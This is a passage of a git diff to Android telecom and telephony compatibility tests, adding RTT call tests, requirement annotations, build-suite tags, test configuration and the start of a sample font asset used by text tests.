+ final Call call = inCallService.getLastCall();
+ verifyRttDisabled(call);
+
+ TestUtils.InvokeCounter startRttCounter =
+ connection.getInvokeCounter(MockConnection.ON_START_RTT);
+ call.sendRttRequest();
+ startRttCounter.waitForCount(1, TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+
+ connection.setRttTextStream((Connection.RttTextStream) startRttCounter.getArgs(0)[0]);
+ connection.setConnectionProperties(
+ connection.getConnectionProperties() | Connection.PROPERTY_IS_RTT);
+ connection.sendRttInitiationSuccess();
+ TestUtils.waitOnAllHandlers(getInstrumentation());
+ verifyRttEnabled(call, connection);
+ }
+
+ public void testLocalRttUpgradeRejected() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
+
+ placeAndVerifyCall();
+ final MockConnection connection = verifyConnectionForOutgoingCall();
+ final MockInCallService inCallService = mInCallCallbacks.getService();
+ final Call call = inCallService.getLastCall();
+ verifyRttDisabled(call);
+
+ TestUtils.InvokeCounter startRttCounter =
+ connection.getInvokeCounter(MockConnection.ON_START_RTT);
+ call.sendRttRequest();
+ startRttCounter.waitForCount(1, TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+
+ connection.sendRttInitiationFailure(RTT_FAILURE_REASON);
+ TestUtils.waitOnAllHandlers(getInstrumentation());
+ mOnRttInitiationFailedCounter.waitForCount(1, TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+ assertEquals(call, mOnRttInitiationFailedCounter.getArgs(0)[0]);
+ assertEquals(RTT_FAILURE_REASON, mOnRttInitiationFailedCounter.getArgs(0)[1]);
+ verifyRttDisabled(call);
+ }
+
+ public void testAcceptRemoteRttUpgrade() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
+
+ placeAndVerifyCall();
+ final MockConnection connection = verifyConnectionForOutgoingCall();
+ final MockInCallService inCallService = mInCallCallbacks.getService();
+ final Call call = inCallService.getLastCall();
+ verifyRttDisabled(call);
+
+ TestUtils.InvokeCounter rttRequestResponseCounter =
+ connection.getInvokeCounter(MockConnection.ON_RTT_REQUEST_RESPONSE);
+ connection.sendRemoteRttRequest();
+ mOnRttRequestCounter.waitForCount(1, TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+ int requestId = (Integer) mOnRttRequestCounter.getArgs(0)[1];
+ call.respondToRttRequest(requestId, true /* accept */);
+
+ rttRequestResponseCounter.waitForCount(1, TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+ TestUtils.waitOnAllHandlers(getInstrumentation());
+ verifyRttEnabled(call, connection);
+ }
+
+ public void testRejectRemoteRttRequest() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
+
+ placeAndVerifyCall();
+ final MockConnection connection = verifyConnectionForOutgoingCall();
+ final MockInCallService inCallService = mInCallCallbacks.getService();
+ final Call call = inCallService.getLastCall();
+ verifyRttDisabled(call);
+
+ TestUtils.InvokeCounter rttRequestResponseCounter =
+ connection.getInvokeCounter(MockConnection.ON_RTT_REQUEST_RESPONSE);
+ connection.sendRemoteRttRequest();
+ mOnRttRequestCounter.waitForCount(1, TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+ int requestId = (Integer) mOnRttRequestCounter.getArgs(0)[1];
+ call.respondToRttRequest(requestId, false /* accept */);
+
+ rttRequestResponseCounter.waitForCount(1, TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+ assertNull(rttRequestResponseCounter.getArgs(0)[0]);
+ TestUtils.waitOnAllHandlers(getInstrumentation());
+ verifyRttDisabled(call);
+ }
+
+ public void testLocalRttTermination() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
+
+ placeRttCall(false);
+ final MockConnection connection = verifyConnectionForOutgoingCall();
+ final MockInCallService inCallService = mInCallCallbacks.getService();
+ final Call call = inCallService.getLastCall();
+
+ // Skipping RTT verification since that's tested by another test
+ TestUtils.InvokeCounter stopRttCounter =
+ connection.getInvokeCounter(MockConnection.ON_STOP_RTT);
+ call.stopRtt();
+ stopRttCounter.waitForCount(1, TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+ connection.setConnectionProperties(
+ connection.getConnectionProperties() & ~Connection.PROPERTY_IS_RTT);
+ TestUtils.waitOnAllHandlers(getInstrumentation());
+ verifyRttDisabled(call);
+ }
+
+ public void testRemoteRttTermination() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
+
+ placeRttCall(false);
+ final MockConnection connection = verifyConnectionForOutgoingCall();
+ final MockInCallService inCallService = mInCallCallbacks.getService();
+ final Call call = inCallService.getLastCall();
+
+ // Skipping RTT verification since that's tested by another test
+ connection.sendRttSessionRemotelyTerminated();
+ TestUtils.InvokeCounter stopRttCounter =
+ connection.getInvokeCounter(MockConnection.ON_STOP_RTT);
+ call.stopRtt();
+ stopRttCounter.waitForCount(1, TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+ connection.setConnectionProperties(
+ connection.getConnectionProperties() & ~Connection.PROPERTY_IS_RTT);
+ TestUtils.waitOnAllHandlers(getInstrumentation());
+ verifyRttDisabled(call);
+ }
+
+ private void verifyRttDisabled(Call call) {
+ TestUtils.waitOnLocalMainLooper(TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+ assertFalse(call.isRttActive());
+ assertNull(call.getRttCall());
+ }
+
+ private void verifyRttEnabled(Call call, MockConnection connection) {
+ TestUtils.waitOnLocalMainLooper(TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+ Connection.RttTextStream connectionSideRtt = connection.getRttTextStream();
+ Call.RttCall inCallSideRtt = call.getRttCall();
+ assertNotNull(connectionSideRtt);
+ assertTrue(call.isRttActive());
+ assertNotNull(inCallSideRtt);
+
+ verifyRttPipeIntegrity(inCallSideRtt, connectionSideRtt);
+ }
+
+ private void verifyRttPipeIntegrity(Call.RttCall inCallSide, Connection.RttTextStream
+ connectionSide) {
+ for (String s : TEST_STRINGS) {
+ try {
+ inCallSide.write(s);
+ waitUntilConditionIsTrueOrTimeout(new Condition() {
+ String readSoFar = "";
+ @Override
+ public Object expected() {
+ return s;
+ }
+
+ @Override
+ public Object actual() {
+ try {
+ String newRead = connectionSide.readImmediately();
+ if (newRead != null) {
+ readSoFar += newRead;
+ }
+ return readSoFar;
+ } catch (IOException e) {
+ fail("IOException while reading from connection side");
+ return null;
+ }
+ }
+ }, RTT_SEND_TIMEOUT_MILLIS, String.format("%s failed to send correctly.", s));
+
+ connectionSide.write(s);
+ waitUntilConditionIsTrueOrTimeout(new Condition() {
+ String readSoFar = "";
+ @Override
+ public Object expected() {
+ return s;
+ }
+
+ @Override
+ public Object actual() {
+ try {
+ String newRead = inCallSide.readImmediately();
+ if (newRead != null) {
+ readSoFar += newRead;
+ }
+ return readSoFar;
+ } catch (IOException e) {
+ fail("IOException while reading from incall side");
+ return null;
+ }
+ }
+ }, RTT_SEND_TIMEOUT_MILLIS, String.format("%s failed to send correctly.", s));
+ } catch (IOException e) {
+ fail(String.format(
+ "Caught IOException when verifying %s", s));
+ }
+
+ }
+ }
+ private void placeRttCall(boolean incoming) {
+ Bundle extras = new Bundle();
+ extras.putBoolean(TelecomManager.EXTRA_START_CALL_WITH_RTT, true);
+ if (incoming) {
+ addAndVerifyNewIncomingCall(createTestNumber(), extras);
+ } else {
+ Bundle outgoingCallExtras = new Bundle();
+ outgoingCallExtras.putParcelable(TelecomManager.EXTRA_OUTGOING_CALL_EXTRAS, extras);
+ placeAndVerifyCall(outgoingCallExtras);
+ }
+ }
+}
diff --git a/tests/tests/telecom/src/android/telecom/cts/TelecomAvailabilityTest.java b/tests/tests/telecom/src/android/telecom/cts/TelecomAvailabilityTest.java
index 8163520..fba31a0 100644
--- a/tests/tests/telecom/src/android/telecom/cts/TelecomAvailabilityTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/TelecomAvailabilityTest.java
@@ -29,6 +29,8 @@
import android.test.InstrumentationTestCase;
import android.util.Log;
+import com.android.compatibility.common.util.CddTest;
+
import java.util.ArrayList;
import java.util.List;
@@ -99,6 +101,7 @@
telephonyMatches);
}
+ @CddTest(requirement="7.4.1.1/C-1-6")
public void testTelecomCanManageBlockedNumbers() {
if (!shouldTestTelecom(mContext)) {
return;
diff --git a/tests/tests/telecom/src/android/telecom/cts/TestUtils.java b/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
index db278de..f3c54b3 100644
--- a/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
+++ b/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
@@ -25,6 +25,8 @@
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
import android.os.ParcelFileDescriptor;
import android.os.Process;
import android.os.SystemClock;
@@ -79,6 +81,7 @@
.setSubscriptionAddress(Uri.parse("tel:555-TEST"))
.setCapabilities(PhoneAccount.CAPABILITY_CALL_PROVIDER |
PhoneAccount.CAPABILITY_VIDEO_CALLING |
+ PhoneAccount.CAPABILITY_RTT |
PhoneAccount.CAPABILITY_CONNECTION_MANAGER)
.setHighlightColor(Color.RED)
.setShortDescription(ACCOUNT_LABEL)
@@ -170,6 +173,19 @@
executeShellCommand(instrumentation, COMMAND_WAIT_ON_HANDLERS);
}
+ public static void waitOnLocalMainLooper(long timeoutMs) {
+ Handler mainHandler = new Handler(Looper.getMainLooper());
+ final CountDownLatch lock = new CountDownLatch(1);
+ mainHandler.post(lock::countDown);
+ while (lock.getCount() > 0) {
+ try {
+ lock.await(timeoutMs, TimeUnit.MILLISECONDS);
+ } catch (InterruptedException e) {
+ // do nothing
+ }
+ }
+ }
+
/**
* Executes the given shell command and returns the output in a string. Note that even
* if we don't care about the output, we have to read the stream completely to make the
diff --git a/tests/tests/telecom2/Android.mk b/tests/tests/telecom2/Android.mk
index d839924..8e9c8a5d 100644
--- a/tests/tests/telecom2/Android.mk
+++ b/tests/tests/telecom2/Android.mk
@@ -24,7 +24,10 @@
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ compatibility-device-util \
+ ctstestrunner \
+ legacy-android-test
src_dirs := src \
../telecom/src/android/telecom/cts/SelfManagedConnection.java \
@@ -46,6 +49,6 @@
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/telecom2/AndroidTest.xml b/tests/tests/telecom2/AndroidTest.xml
index a06984f..f4d8e86 100644
--- a/tests/tests/telecom2/AndroidTest.xml
+++ b/tests/tests/telecom2/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Configuration for Telecom2 Tests">
<option name="config-descriptor:metadata" key="component" value="telecom" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsTelecomTestCases2.apk" />
diff --git a/tests/tests/telecom3/Android.mk b/tests/tests/telecom3/Android.mk
index 29bccc3..86cb859 100644
--- a/tests/tests/telecom3/Android.mk
+++ b/tests/tests/telecom3/Android.mk
@@ -29,8 +29,7 @@
src_dirs := src \
../telecom/src/android/telecom/cts/SelfManagedConnection.java \
../telecom/src/android/telecom/cts/CtsSelfManagedConnectionService.java \
- ../telecom/src/android/telecom/cts/TestUtils.java \
- ../telecom/src/android/telecom/cts/MockDialerActivity.java
+ ../telecom/src/android/telecom/cts/TestUtils.java
res_dirs := ../telecom/res
@@ -46,6 +45,6 @@
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/telecom3/AndroidTest.xml b/tests/tests/telecom3/AndroidTest.xml
index 10fe2b1..354581a 100644
--- a/tests/tests/telecom3/AndroidTest.xml
+++ b/tests/tests/telecom3/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Configuration for Telecom3 Tests">
<option name="config-descriptor:metadata" key="component" value="telecom" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsTelecomTestCases3.apk" />
diff --git a/tests/tests/telephony/Android.mk b/tests/tests/telephony/Android.mk
index e502384..1368573 100644
--- a/tests/tests/telephony/Android.mk
+++ b/tests/tests/telephony/Android.mk
@@ -36,7 +36,7 @@
LOCAL_PACKAGE_NAME := CtsTelephonyTestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# uncomment when b/13250611 is fixed
#LOCAL_SDK_VERSION := current
diff --git a/tests/tests/telephony/AndroidTest.xml b/tests/tests/telephony/AndroidTest.xml
index 0aebd01..41cf7ce 100644
--- a/tests/tests/telephony/AndroidTest.xml
+++ b/tests/tests/telephony/AndroidTest.xml
@@ -14,6 +14,10 @@
limitations under the License.
-->
<configuration description="Config for CTS Telephony test cases">
+ <target_preparer class="android.telephony.cts.preconditions.TelephonyPreparer">
+ <option name="apk" value="CtsTelephonyPreparerApp.apk" />
+ <option name="package" value="android.telephony.cts.preconditions.app" />
+ </target_preparer>
<option name="config-descriptor:metadata" key="component" value="telecom" />
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.TokenRequirement">
<option name="token" value="sim-card" />
@@ -25,4 +29,14 @@
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.telephony.cts" />
</test>
+ <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+ <option name="run-command" value="pm disable com.google.android.dialer/com.android.voicemail.impl.StatusCheckJobService" />
+ <option name="run-command" value="pm disable com.google.android.dialer/com.android.voicemail.impl.OmtpService" />
+ <option name="teardown-command" value="pm enable com.google.android.dialer/com.android.voicemail.impl.StatusCheckJobService" />
+ <option name="teardown-command" value="pm enable com.google.android.dialer/com.android.voicemail.impl.OmtpService" />
+ <option name="run-command" value="pm disable com.android.dialer/com.android.voicemail.impl.StatusCheckJobService" />
+ <option name="run-command" value="pm disable com.android.dialer/com.android.voicemail.impl.OmtpService" />
+ <option name="teardown-command" value="pm enable com.android.dialer/com.android.voicemail.impl.StatusCheckJobService" />
+ <option name="teardown-command" value="pm enable com.android.dialer/com.android.voicemail.impl.OmtpService" />
+ </target_preparer>
</configuration>
diff --git a/tests/tests/telephony/preconditions/Android.mk b/tests/tests/telephony/preconditions/Android.mk
index 6577932..e2c3fc5 100644
--- a/tests/tests/telephony/preconditions/Android.mk
+++ b/tests/tests/telephony/preconditions/Android.mk
@@ -25,7 +25,7 @@
LOCAL_MODULE := compatibility-host-telephony-preconditions
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/tests/tests/telephony/preconditions/app/Android.mk b/tests/tests/telephony/preconditions/app/Android.mk
index 349daed..a5fa396 100644
--- a/tests/tests/telephony/preconditions/app/Android.mk
+++ b/tests/tests/telephony/preconditions/app/Android.mk
@@ -32,7 +32,7 @@
compatibility-device-preconditions
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsTelephonyPreparerApp
diff --git a/tests/tests/telephony/preconditions/app/src/android/telephony/cts/preconditions/app/TelephonyPreparerAppTest.java b/tests/tests/telephony/preconditions/app/src/android/telephony/cts/preconditions/app/TelephonyPreparerAppTest.java
index 8f53f7d..3c2c089 100644
--- a/tests/tests/telephony/preconditions/app/src/android/telephony/cts/preconditions/app/TelephonyPreparerAppTest.java
+++ b/tests/tests/telephony/preconditions/app/src/android/telephony/cts/preconditions/app/TelephonyPreparerAppTest.java
@@ -18,6 +18,7 @@
import android.content.Context;
import android.content.pm.PackageManager;
import android.test.AndroidTestCase;
+import android.util.Log;
import com.android.compatibility.common.preconditions.TelephonyHelper;
/**
@@ -36,7 +37,9 @@
return; // do not test for phone number on devices without telephony feature
}
- assertTrue("Device must have a SIM card with phone number in order to run CTS",
- TelephonyHelper.hasPhoneNumber(this.getContext()));
+ if (!TelephonyHelper.hasPhoneNumber(this.getContext())) {
+ Log.e(TAG, "No SIM card with phone number is found in the device, "
+ + "some tests might not run properly");
+ }
}
}
\ No newline at end of file
diff --git a/tests/tests/telephony/src/android/telephony/cts/CarrierConfigManagerTest.java b/tests/tests/telephony/src/android/telephony/cts/CarrierConfigManagerTest.java
index 572b31a..7905a83 100644
--- a/tests/tests/telephony/src/android/telephony/cts/CarrierConfigManagerTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/CarrierConfigManagerTest.java
@@ -24,6 +24,9 @@
import android.telephony.TelephonyManager;
import android.test.AndroidTestCase;
+import com.android.compatibility.common.util.CddTest;
+
+@CddTest(requirement="7.4.1/C-1-2")
public class CarrierConfigManagerTest extends AndroidTestCase {
private CarrierConfigManager mConfigManager;
private TelephonyManager mTelephonyManager;
diff --git a/tests/tests/telephony/src/android/telephony/cts/CellInfoTest.java b/tests/tests/telephony/src/android/telephony/cts/CellInfoTest.java
index 1e18760..f93b297 100644
--- a/tests/tests/telephony/src/android/telephony/cts/CellInfoTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/CellInfoTest.java
@@ -194,9 +194,12 @@
assertTrue("getLevel() out of range [0,4], level=" + level, level >=0 && level <= 4);
int bsic = gsm.getCellIdentity().getBsic();
- // TODO(b/32774471) - Bsic should always be valid, so Integer.MAX_VALUE shouldn't be needed
- assertTrue("getBsic() out of range [0,63]",
- (bsic >= 0 && bsic <= 63) || bsic == Integer.MAX_VALUE);
+ // TODO(b/32774471) - Bsic should always be valid
+ //assertTrue("getBsic() out of range [0,63]", bsic >=0 && bsic <=63);
+
+ int ta = gsm.getCellSignalStrength().getTimingAdvance();
+ assertTrue("getTimingAdvance() out of range [0,219] | Integer.MAX_VALUE, ta=" + ta,
+ ta == Integer.MAX_VALUE || (ta >= 0 && ta <= 219));
}
// Rssi(in dbm) should be within [MIN_RSSI, MAX_RSSI].
diff --git a/tests/tests/telephony/src/android/telephony/cts/CellLocationTest.java b/tests/tests/telephony/src/android/telephony/cts/CellLocationTest.java
index 6c180b4..b2a4c31 100644
--- a/tests/tests/telephony/src/android/telephony/cts/CellLocationTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/CellLocationTest.java
@@ -29,7 +29,9 @@
import com.android.compatibility.common.util.ReadElf;
import com.android.compatibility.common.util.TestThread;
+import com.android.compatibility.common.util.CddTest;
+@CddTest(requirement="7.4.1/C-1-2,C-2-1")
public class CellLocationTest extends AndroidTestCase{
private boolean mOnCellLocationChangedCalled;
private final Object mLock = new Object();
diff --git a/tests/tests/telephony/src/android/telephony/cts/MmsTest.java b/tests/tests/telephony/src/android/telephony/cts/MmsTest.java
index b5fa45a..499c03b 100644
--- a/tests/tests/telephony/src/android/telephony/cts/MmsTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/MmsTest.java
@@ -45,6 +45,8 @@
import com.google.android.mms.pdu.SendConf;
import com.google.android.mms.pdu.SendReq;
+import com.android.compatibility.common.util.CddTest;
+
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
@@ -53,6 +55,7 @@
/**
* Test sending MMS using {@link android.telephony.SmsManager}.
*/
+@CddTest(requirement="7.4.1/C-1-2,C-2-1")
public class MmsTest extends AndroidTestCase {
private static final String TAG = "MmsTest";
diff --git a/tests/tests/telephony/src/android/telephony/cts/PhoneNumberUtilsTest.java b/tests/tests/telephony/src/android/telephony/cts/PhoneNumberUtilsTest.java
index 4cc26f8..6cf147f 100644
--- a/tests/tests/telephony/src/android/telephony/cts/PhoneNumberUtilsTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/PhoneNumberUtilsTest.java
@@ -305,31 +305,6 @@
assertFalse(PhoneNumberUtils.isWellFormedSmsAddress("android"));
}
- public void testIsUriNumber() {
- assertTrue(PhoneNumberUtils.isUriNumber("foo@google.com"));
- assertTrue(PhoneNumberUtils.isUriNumber("xyz@zzz.org"));
- assertFalse(PhoneNumberUtils.isUriNumber("+15103331245"));
- assertFalse(PhoneNumberUtils.isUriNumber("+659231235"));
- }
-
- public void testGetUsernameFromUriNumber() {
- assertEquals("john", PhoneNumberUtils.getUsernameFromUriNumber("john@myorg.com"));
- assertEquals("tim_123", PhoneNumberUtils.getUsernameFromUriNumber("tim_123@zzz.org"));
- assertEquals("5103331245", PhoneNumberUtils.getUsernameFromUriNumber("5103331245"));
- }
-
- public void testConvertAndStrip() {
- // Untouched number.
- assertEquals("123456789", PhoneNumberUtils.convertAndStrip("123456789"));
- // Dashes should be stripped, legal separators (i.e. wild character remain untouched)
- assertEquals("+15103331245*123", PhoneNumberUtils.convertAndStrip("+1-510-333-1245*123"));
- // Arabic digits should be converted
- assertEquals("5567861616", PhoneNumberUtils.convertAndStrip("٥٥٦٧٨٦١٦١٦"));
- // Arabic digits converted and spaces stripped
- assertEquals("5567861616", PhoneNumberUtils.convertAndStrip("٥ ٥٦ ٧ ٨ ٦ ١ ٦ ١ ٦"));
-
- }
-
public void testGetPhoneTtsSpan() {
// Setup: phone number without a country code. Lets keep coverage minimal to avoid
// exercising the underlying PhoneNumberUtil or constraining localization changes.
diff --git a/tests/tests/telephony/src/android/telephony/cts/SmsManagerTest.java b/tests/tests/telephony/src/android/telephony/cts/SmsManagerTest.java
index 8ffee99..3096840 100755
--- a/tests/tests/telephony/src/android/telephony/cts/SmsManagerTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/SmsManagerTest.java
@@ -38,6 +38,8 @@
import android.text.TextUtils;
import android.util.Log;
+import com.android.compatibility.common.util.CddTest;
+
import java.io.BufferedReader;
import java.io.FileInputStream;
import java.io.IOException;
@@ -53,6 +55,7 @@
*
* Structured so tests can be reused to test {@link android.telephony.gsm.SmsManager}
*/
+@CddTest(requirement="7.4.1/C-1-2,C-2-1")
public class SmsManagerTest extends InstrumentationTestCase {
private static final String TAG = "SmsManagerTest";
diff --git a/tests/tests/telephony/src/android/telephony/cts/SmsMessageTest.java b/tests/tests/telephony/src/android/telephony/cts/SmsMessageTest.java
index e247775..293c605 100644
--- a/tests/tests/telephony/src/android/telephony/cts/SmsMessageTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/SmsMessageTest.java
@@ -23,6 +23,9 @@
import android.telephony.TelephonyManager;
import android.test.AndroidTestCase;
+import com.android.compatibility.common.util.CddTest;
+
+@CddTest(requirement="7.4.1/C-1-2,C-2-1")
public class SmsMessageTest extends AndroidTestCase{
private TelephonyManager mTelephonyManager;
diff --git a/tests/tests/telephony/src/android/telephony/cts/SmsUsageMonitorShortCodeTest.java b/tests/tests/telephony/src/android/telephony/cts/SmsUsageMonitorShortCodeTest.java
index 88475d1..6a36536 100644
--- a/tests/tests/telephony/src/android/telephony/cts/SmsUsageMonitorShortCodeTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/SmsUsageMonitorShortCodeTest.java
@@ -81,8 +81,8 @@
new ShortCodeTest("al", "654321", CATEGORY_NOT_SHORT_CODE),
new ShortCodeTest("am", "112", expectedReturnCode("112")),
- new ShortCodeTest("am", "101", CATEGORY_FREE_SHORT_CODE),
- new ShortCodeTest("am", "102", CATEGORY_FREE_SHORT_CODE),
+ //new ShortCodeTest("am", "101", CATEGORY_FREE_SHORT_CODE),
+ //new ShortCodeTest("am", "102", CATEGORY_FREE_SHORT_CODE),
new ShortCodeTest("am", "103", CATEGORY_FREE_SHORT_CODE),
new ShortCodeTest("am", "222", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
new ShortCodeTest("am", "1111", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
diff --git a/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java
index 79097e0..85e6095 100644
--- a/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java
@@ -45,6 +45,7 @@
import android.util.Log;
import com.android.compatibility.common.util.TestThread;
+import com.android.compatibility.common.util.CddTest;
import org.junit.After;
import org.junit.Before;
@@ -53,6 +54,7 @@
import java.util.regex.Pattern;
+@CddTest(requirement="7.4.1/C-1-2,C-2-1")
@RunWith(AndroidJUnit4.class)
public class TelephonyManagerTest {
private TelephonyManager mTelephonyManager;
diff --git a/tests/tests/telephony2/Android.mk b/tests/tests/telephony2/Android.mk
index 3ba6018..ec72916 100644
--- a/tests/tests/telephony2/Android.mk
+++ b/tests/tests/telephony2/Android.mk
@@ -32,7 +32,7 @@
LOCAL_PACKAGE_NAME := CtsTelephony2TestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_JAVA_LIBRARIES += android.test.runner
diff --git a/tests/tests/telephony2/AndroidTest.xml b/tests/tests/telephony2/AndroidTest.xml
index 607bbac..78d8d6f 100644
--- a/tests/tests/telephony2/AndroidTest.xml
+++ b/tests/tests/telephony2/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS Telephony test cases">
<option name="config-descriptor:metadata" key="component" value="telecom" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsTelephony2TestCases.apk" />
diff --git a/tests/tests/text/Android.mk b/tests/tests/text/Android.mk
index 2210cbd..15a7bcc 100644
--- a/tests/tests/text/Android.mk
+++ b/tests/tests/text/Android.mk
@@ -35,9 +35,9 @@
LOCAL_PACKAGE_NAME := CtsTextTestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-# uncomment when dalvik.annotation.Test* are removed or part of SDK
-#LOCAL_SDK_VERSION := current
+# Enforce public / test api only
+LOCAL_SDK_VERSION := test_current
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/text/assets/fonts/samplefont.ttx b/tests/tests/text/assets/fonts/samplefont.ttx
new file mode 100644
index 0000000..ba43639
--- /dev/null
+++ b/tests/tests/text/assets/fonts/samplefont.ttx
@@ -0,0 +1,180 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+ <GlyphOrder>
+ <GlyphID id="0" name=".notdef"/>
+ <GlyphID id="1" name="a"/>
+ </GlyphOrder>
+
+ <head>
+ <tableVersion value="1.0"/>
+ <fontRevision value="1.0"/>
+ <checkSumAdjustment value="0x640cdb2f"/>
+ <magicNumber value="0x5f0f3cf5"/>
+ <flags value="00000000 00000011"/>
+ <unitsPerEm value="1000"/>
+ <created value="Fri Mar 17 07:26:00 2017"/>
+ <macStyle value="00000000 00000000"/>
+ <lowestRecPPEM value="7"/>
+ <fontDirectionHint value="2"/>
+ <glyphDataFormat value="0"/>
+ </head>
+
+ <hhea>
+ <tableVersion value="1.0"/>
+ <ascent value="1000"/>
+ <descent value="-200"/>
+ <lineGap value="0"/>
+ <caretSlopeRise value="1"/>
+ <caretSlopeRun value="0"/>
+ <caretOffset value="0"/>
+ <reserved0 value="0"/>
+ <reserved1 value="0"/>
+ <reserved2 value="0"/>
+ <reserved3 value="0"/>
+ <metricDataFormat value="0"/>
+ </hhea>
+
+ <maxp>
+ <tableVersion value="0x10000"/>
+ <maxZones value="0"/>
+ <maxTwilightPoints value="0"/>
+ <maxStorage value="0"/>
+ <maxFunctionDefs value="0"/>
+ <maxInstructionDefs value="0"/>
+ <maxStackElements value="0"/>
+ <maxSizeOfInstructions value="0"/>
+ <maxComponentElements value="0"/>
+ </maxp>
+
+ <OS_2>
+ <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+ will be recalculated by the compiler -->
+ <version value="3"/>
+ <xAvgCharWidth value="594"/>
+ <usWeightClass value="400"/>
+ <usWidthClass value="5"/>
+ <fsType value="00000000 00001000"/>
+ <ySubscriptXSize value="650"/>
+ <ySubscriptYSize value="600"/>
+ <ySubscriptXOffset value="0"/>
+ <ySubscriptYOffset value="75"/>
+ <ySuperscriptXSize value="650"/>
+ <ySuperscriptYSize value="600"/>
+ <ySuperscriptXOffset value="0"/>
+ <ySuperscriptYOffset value="350"/>
+ <yStrikeoutSize value="50"/>
+ <yStrikeoutPosition value="300"/>
+ <sFamilyClass value="0"/>
+ <panose>
+ <bFamilyType value="0"/>
+ <bSerifStyle value="0"/>
+ <bWeight value="5"/>
+ <bProportion value="0"/>
+ <bContrast value="0"/>
+ <bStrokeVariation value="0"/>
+ <bArmStyle value="0"/>
